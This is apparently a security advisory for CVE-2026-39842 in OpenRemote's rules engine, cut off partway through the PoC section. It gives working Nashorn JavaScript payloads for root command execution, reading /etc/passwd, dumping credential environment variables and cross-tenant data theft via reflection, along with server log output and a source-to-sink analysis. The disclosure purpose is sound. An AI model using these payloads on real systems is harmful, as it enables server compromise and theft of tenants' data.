Attacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...
[TEST] Normal API: GET /api/realmb/asset (attacker token)
Result: HTTP 401
>> Cross-realm API access BLOCKED (expected) — tenant isolation works via API
Conclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution.
Step 3: Launch the attack.
- ATTACK 1 — Remote Code Execution (RCE)
Payload sent (via POST /api/realma/rules/realm with attacker token):
var Runtime = Java.type("java.lang.Runtime");
var Scanner = Java.type("java.util.Scanner");
var cmd = Java.to(["sh", "-c", "id && hostname && uname -a"], "java.lang.String[]");
var proc = Runtime.getRuntime().exec(cmd);
proc.waitFor();
var s = new Scanner(proc.getInputStream()).useDelimiter("\\A");
var output = s.hasNext() ? s.next() : "(empty)";
LOG.info("[EXPLOIT-RCE] Command output: " + output);
var rules = [];
API response: HTTP 200 (rule accepted and deployed)
Server log evidence (captured from docker compose logs manager):
2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION ===
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT ---
2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root)
Impact: The attacker's JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges.
- ATTACK 2 — Arbitrary File Read (/etc/passwd) Payload:
var Files = Java.type("java.nio.file.Files");
var Paths = Java.type("java.nio.file.Paths");
var lines = Files.readAllLines(Paths.get("/etc/passwd"));
LOG.info("[EXPLOIT-FILE] /etc/passwd has " + lines.size() + " lines:");
for (var i = 0; i < lines.size(); i++) {
LOG.info("[EXPLOIT-FILE] " + lines.get(i));
}
var rules = [];
API response: HTTP 200 Server log evidence:
- ATTACK 3 — Environment Variable Theft (Database Credentials)
Payload:
var System = Java.type("java.lang.System");
var env = System.getenv();
LOG.info("[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===");
var keys = ["OR_DB_HOST","OR_DB_PORT","OR_DB_NAME","OR_DB_USER","OR_DB_PASSWORD",
"KEYCLOAK_ADMIN_PASSWORD","OR_ADMIN_PASSWORD","OR_HOSTNAME","JAVA_HOME"];
for (var i = 0; i < keys.length; i++) {
var v = env.get(keys[i]);
if (v != null) LOG.info("[EXPLOIT-ENV] " + keys[i] + " = " + v);
}
var rules = [];
API response: HTTP 200
Server log evidence (key variables extracted):
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432
2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost
2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage
2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20
2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json
2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587
Impact: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services.
- ATTACK 4 — Cross-Realm Data Theft (Bypass Multi-Tenant Isolation)
This is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the AssetsFacade realm enforcement via Java reflection.
Attack mechanism:
1. The assets object bound into JavaScript is an AssetsFacade instance
2. AssetsFacade.getResults() enforces realm isolation by overwriting assetQuery.realm
3. The attacker uses Java reflection to extract the internal assetStorageService field
4. Calls assetStorageService.findAll() directly, bypassing realm restriction AND excludeAttributes()
Payload:
// Extract internal AssetStorageService via reflection
var facadeObj = assets;
var clazz = facadeObj.getClass();
var storageField = clazz.getDeclaredField("assetStorageService");
storageField.setAccessible(true);
var storageService = storageField.get(facadeObj);
// Query Realm B directly — bypassing facade realm enforcement
var AssetQuery = Java.type("org.openremote.model.query.AssetQuery");
var RealmPredicate = Java.type("org.openremote.model.query.filter.RealmPredicate");
var q = new AssetQuery();
q.realm = new RealmPredicate("realmb");
var stolenAssets = storageService.findAll(q);
// Iterate and dump all attribute values...
var rules = [];
API response: HTTP 200
Server log evidence — Stolen data from Realm B:
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT ===
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma
2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm: realmb
2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade
2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService
2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm 'realmb'
2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset
2026-03-27T07:17:55.228Z [EXPLOIT-XREALM] STOLEN ATTR: notes = Internal sensor - classified
2026-03-27T07:17:55.229Z [EXPLOIT-XREALM] STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN}
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024
2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890
Cross-realm enumeration — all assets across all realms:
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL...
2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI...
2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc...
Impact: Complete multi-tenant isolation bypass. Realm A's non-superuser successfully:
- Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data)
- Enumerated all assets across ALL realms including the master realm
- Bypassed both the realm restriction AND the excludeAttributes() protection in AssetsFacade
- Authorization Bypass Verification
The same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers):
Create Groovy rule (same attacker): HTTP 403
>> Groovy rule REJECTED (HTTP 403) — as expected for non-superuser
>> BUT all JavaScript rules were ACCEPTED (HTTP 200) — THIS IS THE VULNERABILITY!
Root cause in source code (RulesResourceImpl.java:262):
// Only blocks Groovy for non-superusers — JavaScript is UNRESTRICTED
if (ruleset.getLang() == Ruleset.Lang.GROOVY && !isSuperUser()) {
throw new ForbiddenException("Forbidden");
}
// No check for Lang.JAVASCRIPT!
Impact
Remote code execution.
Severity
9.9 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.21.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39842"
],
"database_specific": {
"cwe_ids": [
"CWE-917",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:31:36Z",
"nvd_published_at": "2026-04-15T04:17:36Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe OpenRemote IoT platform\u0027s rules engine contains two interrelated critical expression injection vulnerabilities that allow an attacker to execute arbitrary code on the server, ultimately achieving full server compromise.\n\n- Unsandboxed Nashorn JavaScript Engine: JavaScript rules are executed via Nashorn\u0027s ScriptEngine.eval() with user-supplied script content and no sandboxing, class filtering, or access restrictions. Critically, any non-superuser with the write:rules role can create JavaScript rulesets.\n- Inactive Groovy Sandbox: The Groovy rules engine has a GroovyDenyAllFilter security filter that is defined but never registered (the registration code is commented out), rendering the SandboxTransformer ineffective. While Groovy rules are restricted to superusers, the absence of sandboxing violates the principle of defense in depth.\n\n### Details\n\n#### Attacker-Controllable Source-to-Sink Paths\n\nThere are two non-superuser and two superuser exploitable attack paths from the REST API entry point to final code execution. (JavaScript \u00d7 Realm/Asset + Groovy \u00d7 Realm/Asset) The most critical path is detailed below.\n\nPath 1: Unsandboxed JavaScript Expression Injection via Realm Ruleset (Non-Superuser Exploitable)\n\n**`RulesetDeployment.java` L368:**\n\n```java\nObject result = scriptEngine.eval(script, engineScope);\n```\n\nThe Nashorn JavaScript engine is initialized **without** a `ClassFilter`, allowing `Java.type()` to access any JVM class \u2014 including `java.lang.Runtime` (for RCE), `java.io.FileReader` (for file read), and `java.lang.System` (for env theft).\n\n\n**`RulesResourceImpl.java` L309 (and L331, L359, L412, L437):**\n\n```java\n// VULNERABLE: only restricts Groovy, JavaScript completely unrestricted\nif (ruleset.getLang() == Ruleset.Lang.GROOVY \u0026\u0026 !isSuperUser()) {\n throw new WebApplicationException(Response.Status.FORBIDDEN);\n}\n```\n\nNon-superuser attackers with only the `write:rules` role can submit arbitrary JavaScript rules that execute with full JVM access.\n\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 SOURCE \u2192 SINK Complete Data Flow \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 \u2460 HTTP REQUEST (Source / Entry Point) \u2502\n\u2502 POST /api/{realm}/rules/realm \u2502\n\u2502 Content-Type: application/json \u2502\n\u2502 Body: { \"type\":\"realm\", \"lang\":\"JAVASCRIPT\", \u2502\n\u2502 \"rules\":\"\u003cMALICIOUS_SCRIPT\u003e\", ... } \u2190 Attacker-controlled malicious script \u2502\n\u2502 \u2502\n\u2502 \u2193 JAX-RS Deserialization \u2502\n\u2502 \u2502\n\u2502 \u2461 RulesResource.createRealmRuleset() \u2502\n\u2502 model/.../rules/RulesResource.java:153-158 \u2502\n\u2502 @POST @Path(\"realm\") @RolesAllowed(\"write:rules\") \u2502\n\u2502 Interface: long createRealmRuleset(RequestParams, @Valid RealmRuleset ruleset) \u2502\n\u2502 JSON body \u2192 RealmRuleset object (Jackson deserialization) \u2502\n\u2502 RealmRuleset.rules field \u2190 attacker\u0027s malicious script content \u2502\n\u2502 RealmRuleset.lang field \u2190 \"JAVASCRIPT\" \u2502\n\u2502 \u2502\n\u2502 \u2193 Calls implementation \u2502\n\u2502 \u2502\n\u2502 \u2462 RulesResourceImpl.createRealmRuleset() \u2190 \u26a0\ufe0f Authorization flaw here \u2502\n\u2502 manager/.../rules/RulesResourceImpl.java:250-267 \u2502\n\u2502 - L255: isRealmActiveAndAccessible(realm) \u2014 checks realm accessible \u2713 \u2502\n\u2502 - L255: isRestrictedUser() \u2014 restricted users blocked \u2713 \u2502\n\u2502 - L262: if (ruleset.getLang() == Ruleset.Lang.GROOVY \u0026\u0026 !isSuperUser()) \u2502\n\u2502 \u2192 Only blocks GROOVY for non-superusers \u2713 \u2502\n\u2502 - \u26a0\ufe0f NO check for Lang.JAVASCRIPT! JavaScript rules pass through unrestricted \u26a0\ufe0f \u2502\n\u2502 - L265: ruleset = rulesetStorageService.merge(ruleset) \u2502\n\u2502 \u2192 Passes the RealmRuleset (with malicious script) to persistence layer \u2502\n\u2502 \u2502\n\u2502 \u2193 JPA Persistence \u2502\n\u2502 \u2502\n\u2502 \u2463 RulesetStorageService.merge() \u2502\n\u2502 manager/.../rules/RulesetStorageService.java:155-159 \u2502\n\u2502 - L157: entityManager.merge(ruleset) \u2502\n\u2502 \u2192 Persists RealmRuleset entity (with rules and lang fields) to REALM_RULESET table\u2502\n\u2502 - After JPA transaction commit, Hibernate event listener is triggered \u2502\n\u2502 \u2502\n\u2502 \u2193 Hibernate Event \u2192 Camel Message \u2502\n\u2502 \u2502\n\u2502 \u2464 Hibernate Interceptor \u2192 PersistenceService Event Publishing \u2502\n\u2502 container/.../persistence/PersistenceEventInterceptor.java:51-62, 102-119 \u2502\n\u2502 - L55-56: new PersistenceEvent\u003c\u003e(CREATE, entity, propertyNames, state) \u2502\n\u2502 \u2192 Hibernate Interceptor captures the JPA entity persist event \u2502\n\u2502 - L102-119: afterTransactionBegin() registers Synchronization callback; \u2502\n\u2502 afterCompletion() calls eventConsumer.accept(persistenceEvent) (L114) \u2502\n\u2502 container/.../persistence/PersistenceService.java:596-607 \u2502\n\u2502 - PersistenceService implements Consumer\u003cPersistenceEvent\u003c?\u003e\u003e (L84) \u2502\n\u2502 - L596-606: accept() publishes event to Camel SEDA topic: \u2502\n\u2502 producerTemplate.withBody(persistenceEvent) \u2502\n\u2502 .withHeader(HEADER_ENTITY_TYPE, entity.getClass()) \u2502\n\u2502 .to(PERSISTENCE_TOPIC).asyncSend() \u2502\n\u2502 - PERSISTENCE_TOPIC = \"seda://PersistenceTopic?multipleConsumers=true\u0026...\" \u2502\n\u2502 (PersistenceService.java:209-210) \u2502\n\u2502 \u2502\n\u2502 \u2193 Camel Route Consumption \u2502\n\u2502 \u2502\n\u2502 \u2465 RulesService.configure() \u2014 Camel Route Processor \u2502\n\u2502 manager/.../rules/RulesService.java:228-235 \u2502\n\u2502 - L228: from(PERSISTENCE_TOPIC) \u2502\n\u2502 - L230: .filter(isPersistenceEventForEntityType(Ruleset.class)) \u2502\n\u2502 \u2192 Filters for Ruleset-type events only \u2502\n\u2502 - L232-234: .process(exchange -\u003e { \u2502\n\u2502 PersistenceEvent\u003c?\u003e pe = exchange.getIn().getBody(PersistenceEvent.class); \u2502\n\u2502 processRulesetChange((Ruleset) pe.getEntity(), pe.getCause()); \u2502\n\u2502 }) \u2502\n\u2502 \u2192 Extracts RealmRuleset entity from event and dispatches to change handler \u2502\n\u2502 \u2502\n\u2502 \u2193 \u2502\n\u2502 \u2502\n\u2502 \u2466 RulesService.processRulesetChange() \u2502\n\u2502 manager/.../rules/RulesService.java:503-531 \u2502\n\u2502 - L504: cause == CREATE (not DELETE), ruleset.isEnabled() == true \u2502\n\u2502 \u2192 Enters the deployment branch (else block) \u2502\n\u2502 - L518: ruleset instanceof RealmRuleset \u2192 takes realm branch \u2502\n\u2502 - L520: RulesEngine\u003cRealmRuleset\u003e engine = \u2502\n\u2502 deployRealmRuleset((RealmRuleset) ruleset) \u2502\n\u2502 - L521: engine.start() \u2502\n\u2502 \u2502\n\u2502 \u2193 \u2502\n\u2502 \u2502\n\u2502 \u2467 RulesService.deployRealmRuleset() \u2502\n\u2502 manager/.../rules/RulesService.java:589-625 \u2502\n\u2502 - L591: Gets existing engine from realmEngines Map or creates new one \u2502\n\u2502 - L594-613: If new engine: new RulesEngine\u003c\u003e(...), stores in realmEngines \u2502\n\u2502 - (via addRuleset): engine.addRuleset(ruleset) \u2502\n\u2502 \u2192 Passes RealmRuleset to engine for deployment \u2502\n\u2502 \u2502\n\u2502 \u2193 \u2502\n\u2502 \u2502\n\u2502 \u2468 RulesEngine.addRuleset() \u2502\n\u2502 manager/.../rules/RulesEngine.java:252-273 \u2502\n\u2502 - L264: deployment = new RulesetDeployment(ruleset, this, timerService, \u2502\n\u2502 assetStorageService, executorService, scheduledExecutorService, \u2502\n\u2502 assetsFacade, usersFacade, notificationFacade, webhooksFacade, \u2502\n\u2502 alarmsFacade, historicFacade, predictedFacade) \u2502\n\u2502 \u2192 Creates deployment object wrapping the Ruleset (with malicious script) \u2502\n\u2502 - L265: deployment.init() \u2502\n\u2502 \u2192 Triggers compilation and initialization \u2502\n\u2502 \u2502\n\u2502 \u2193 \u2502\n\u2502 \u2502\n\u2502 \u2469 RulesetDeployment.init() \u2502\n\u2502 manager/.../rules/RulesetDeployment.java:132-158 \u2502\n\u2502 - L143: TextUtil.isNullOrEmpty(ruleset.getRules()) \u2192 false, script is non-empty \u2502\n\u2502 - L149: ruleset.isEnabled() \u2192 true \u2502\n\u2502 - L154: if (!compile()) \u2192 calls compile() \u2502\n\u2502 \u2502\n\u2502 \u2193 \u2502\n\u2502 \u2502\n\u2502 \u246a RulesetDeployment.compile() \u2502\n\u2502 manager/.../rules/RulesetDeployment.java:211-228 \u2502\n\u2502 - L217: switch (ruleset.getLang()) { \u2502\n\u2502 - L218: case JAVASCRIPT: \u2190 lang field is JAVASCRIPT \u2502\n\u2502 - L219: return compileRulesJavascript(ruleset, assetsFacade, \u2502\n\u2502 usersFacade, notificationsFacade, historicDatapointsFacade, \u2502\n\u2502 predictedDatapointsFacade); \u2502\n\u2502 \u2502\n\u2502 \u2193 \u2502\n\u2502 \u2502\n\u2502 \u246b RulesetDeployment.compileRulesJavascript() \u2190 SINK (Code Execution Point) \u2502\n\u2502 manager/.../rules/RulesetDeployment.java:306-378 \u2502\n\u2502 \u2502\n\u2502 - L307: // TODO https://github.com/pfisterer/scripting-sandbox/... \u2502\n\u2502 \u2191 Sandbox was NEVER implemented (only a TODO comment) \u2502\n\u2502 \u2502\n\u2502 - L308: ScriptEngine scriptEngine = \u2502\n\u2502 scriptEngineManager.getEngineByName(\"nashorn\"); \u2502\n\u2502 \u2191 Uses Nashorn 15.7 (gradle.properties:59) \u2502\n\u2502 \u2191 Obtained via ScriptEngineManager \u2014 NO ClassFilter applied \u2502\n\u2502 \u2191 Attacker can access ANY Java class via Java.type() \u2502\n\u2502 \u2502\n\u2502 - L309-311: Creates ScriptContext and Bindings \u2502\n\u2502 - L312-317: Binds internal service objects to engineScope: \u2502\n\u2502 \"LOG\" \u2192 Logger, \"assets\" \u2192 Assets facade, \u2502\n\u2502 \"users\" \u2192 Users facade, \"notifications\" \u2192 Notifications facade \u2502\n\u2502 \u2502\n\u2502 - L319: String script = ruleset.getRules(); \u2502\n\u2502 \u2191\u2191\u2191 DIRECTLY reads the attacker\u0027s malicious script content \u2191\u2191\u2191 \u2502\n\u2502 \u2191\u2191\u2191 This is the exact same value from the HTTP Body \"rules\" field \u2191\u2191\u2191 \u2502\n\u2502 \u2191\u2191\u2191 passed through step \u2460 with NO sanitization whatsoever \u2191\u2191\u2191 \u2502\n\u2502 \u2502\n\u2502 - L322-365: Auto-prepends Java interop prefix: \u2502\n\u2502 load(\"nashorn:mozilla_compat.js\") \u2192 provides importPackage() \u2502\n\u2502 importPackage(\"java.util.stream\", ...) \u2192 auto-imports Java packages \u2502\n\u2502 var Match = Java.type(\"...AssetQuery$Match\") \u2192 pre-registers Java.type() \u2502\n\u2502 ... (12 active Java.type references; 1 commented out) \u2502\n\u2502 \u2191 These prefixes further lower the attack barrier \u2502\n\u2502 \u2502\n\u2502 - L365: + script; \u2502\n\u2502 \u2191 Attacker script appended directly (string concatenation, no checks) \u2502\n\u2502 \u2502\n\u2502 - L368: scriptEngine.eval(script, engineScope); \u2502\n\u2502 \u2191\u2191\u2191 !!! FINAL SINK \u2014 The script string containing attacker\u0027s \u2502\n\u2502 \u2191\u2191\u2191 malicious code is DIRECTLY EXECUTED by Nashorn ScriptEngine \u2502\n\u2502 \u2191\u2191\u2191 Attacker uses Java.type(\u0027java.lang.Runtime\u0027) etc. to invoke \u2502\n\u2502 \u2191\u2191\u2191 arbitrary Java class methods, achieving Remote Code Execution (RCE) \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\nPath 2: JavaScript Expression Injection via Asset Ruleset (Non-Superuser Exploitable) \n\nSame data flow as Path 1. Differences only in the first three steps:\n\n| Step | Difference |\n|------|-----------|\n| \u2460 Source | `POST /api/{realm}/rules/asset`, body includes `\"assetId\":\"xxx\"` |\n| \u2461 Entry | `RulesResource.createAssetRuleset()` \u2014 `RulesResource.java:200-206` |\n| \u2462 Auth Flaw | `RulesResourceImpl.createAssetRuleset()` \u2014 `RulesResourceImpl.java:341-365`: L350 checks realm accessible, L353 checks restricted user\u0027s asset link, L359 only blocks `GROOVY`, **`JAVASCRIPT` unrestricted**. L363 `rulesetStorageService.merge(ruleset)` |\n\n\n#### Sink Code Analysis\n\nSink 1: `compileRulesJavascript()` \u2014 Lines 306-378\n\n```java\n// RulesetDeployment.java L306-378\nprotected boolean compileRulesJavascript(Ruleset ruleset, ...) {\n // L307: TODO indicates sandbox was NEVER implemented\n // L308: Gets Nashorn engine via ScriptEngineManager \u2014 NO ClassFilter\n ScriptEngine scriptEngine = scriptEngineManager.getEngineByName(\"nashorn\");\n \n // L312-317: Binds internal service objects\n engineScope.put(\"LOG\", LOG);\n engineScope.put(\"assets\", assetsFacade);\n\n // L319: DIRECTLY reads attacker\u0027s script content\n String script = ruleset.getRules();\n\n // L322-365: Prepends Java interop imports (lowers attack barrier)\n script = \"load(\\\"nashorn:mozilla_compat.js\\\");\\n\" + ... + script;\n\n // L368: SINK \u2014 Executes the malicious script!\n scriptEngine.eval(script, engineScope);\n}\n```\n\nWhy missing ClassFilter is fatal: The Nashorn engine provides a ClassFilter interface to restrict which Java classes scripts can access. The current code uses scriptEngineManager.getEngineByName(\"nashorn\") (L308) which applies no ClassFilter, so the attacker can access any Java class via Java.type().\n\nSink 2: `compileRulesGroovy()` \u2014 Lines 449-485\n\n```java\n// RulesetDeployment.java L449-485\nprotected boolean compileRulesGroovy(Ruleset ruleset, ...) {\n // L451-452: Sandbox code COMMENTED OUT\n // TODO Implement sandbox\n // new DenyAll().register(); \u2190 COMMENTED OUT!\n\n // L453: Parses attacker\u0027s Groovy script\n Script script = groovyShell.parse(ruleset.getRules());\n \n // L473: SINK \u2014 Directly executes Groovy script\n script.run();\n}\n```\n\nWhy SandboxTransformer is ineffective: The GroovyShell uses SandboxTransformer (L79-81) for AST transformation, but this transformer relies on registered GroovyInterceptor instances at runtime. Since new DenyAll().register() is commented out (L452), no interceptor is registered, making SandboxTransformer a no-op. \n\n\n### Path 3: Groovy Expression Injection via Realm Ruleset (Superuser Only)\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 SOURCE \u2192 SINK Complete Data Flow (Groovy) \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 \u2460 HTTP POST /api/{realm}/rules/realm \u2502\n\u2502 Body: { \"type\":\"realm\", \"lang\":\"GROOVY\", \u2502\n\u2502 \"rules\":\"\u003cMALICIOUS_GROOVY\u003e\", ... } \u2502\n\u2502 Requires superuser privileges \u2502\n\u2502 \u2502\n\u2502 \u2461 RulesResource.createRealmRuleset() \u2014 RulesResource.java:153-158 \u2502\n\u2502 \u2502\n\u2502 \u2462 RulesResourceImpl.createRealmRuleset() \u2014 RulesResourceImpl.java:250-267 \u2502\n\u2502 - L262: if (lang == GROOVY \u0026\u0026 !isSuperUser()) \u2192 superuser passes \u2713 \u2502\n\u2502 - L265: rulesetStorageService.merge(ruleset) \u2502\n\u2502 \u2502\n\u2502 \u2463-\u2469 Same as Path 1 steps \u2463-\u2469 \u2502\n\u2502 \u2502\n\u2502 \u246a RulesetDeployment.compile() \u2014 RulesetDeployment.java:211-228 \u2502\n\u2502 - L220: case GROOVY \u2192 compileRulesGroovy(ruleset, ...) \u2502\n\u2502 \u2502\n\u2502 \u246b RulesetDeployment.compileRulesGroovy() \u2190 SINK \u2502\n\u2502 manager/.../rules/RulesetDeployment.java:449-485 \u2502\n\u2502 - L451: // TODO Implement sandbox \u2190 Sandbox NEVER implemented \u2502\n\u2502 - L452: // new DenyAll().register() \u2190 Security filter COMMENTED OUT! \u2502\n\u2502 - L453: Script script = groovyShell.parse(ruleset.getRules()) \u2502\n\u2502 \u2191 groovyShell uses SandboxTransformer (L79-81) \u2502\n\u2502 \u2191 But no GroovyInterceptor registered \u2192 SandboxTransformer is ineffective \u2502\n\u2502 \u2191 ruleset.getRules() directly reads attacker\u0027s malicious Groovy script \u2502\n\u2502 - L454-462: Creates Binding, binds internal service objects \u2502\n\u2502 - L472: script.setBinding(binding) \u2502\n\u2502 - L473: script.run() \u2502\n\u2502 \u2191\u2191\u2191 FINAL SINK \u2014 Groovy script executed directly, no sandbox \u2191\u2191\u2191 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Path 4: Groovy Expression Injection via Asset Ruleset (Superuser Only)\n\nSame as Path 3; first three steps differ as in Path 2.\n\n\n### PoC\n\n#### Test Environment\n\n| Component | Details |\n|-----------|---------|\n| Host OS | macOS Darwin 25.1.0 |\n| Docker | Docker Compose with official OpenRemote images |\n| OpenRemote | `openremote/manager:latest` (v1.20.2) |\n| Keycloak | `openremote/keycloak:latest` |\n| PostgreSQL | `openremote/postgresql:latest-slim` |\n| Target URL | `https://localhost` |\n\n#### Multi-Tenant Test 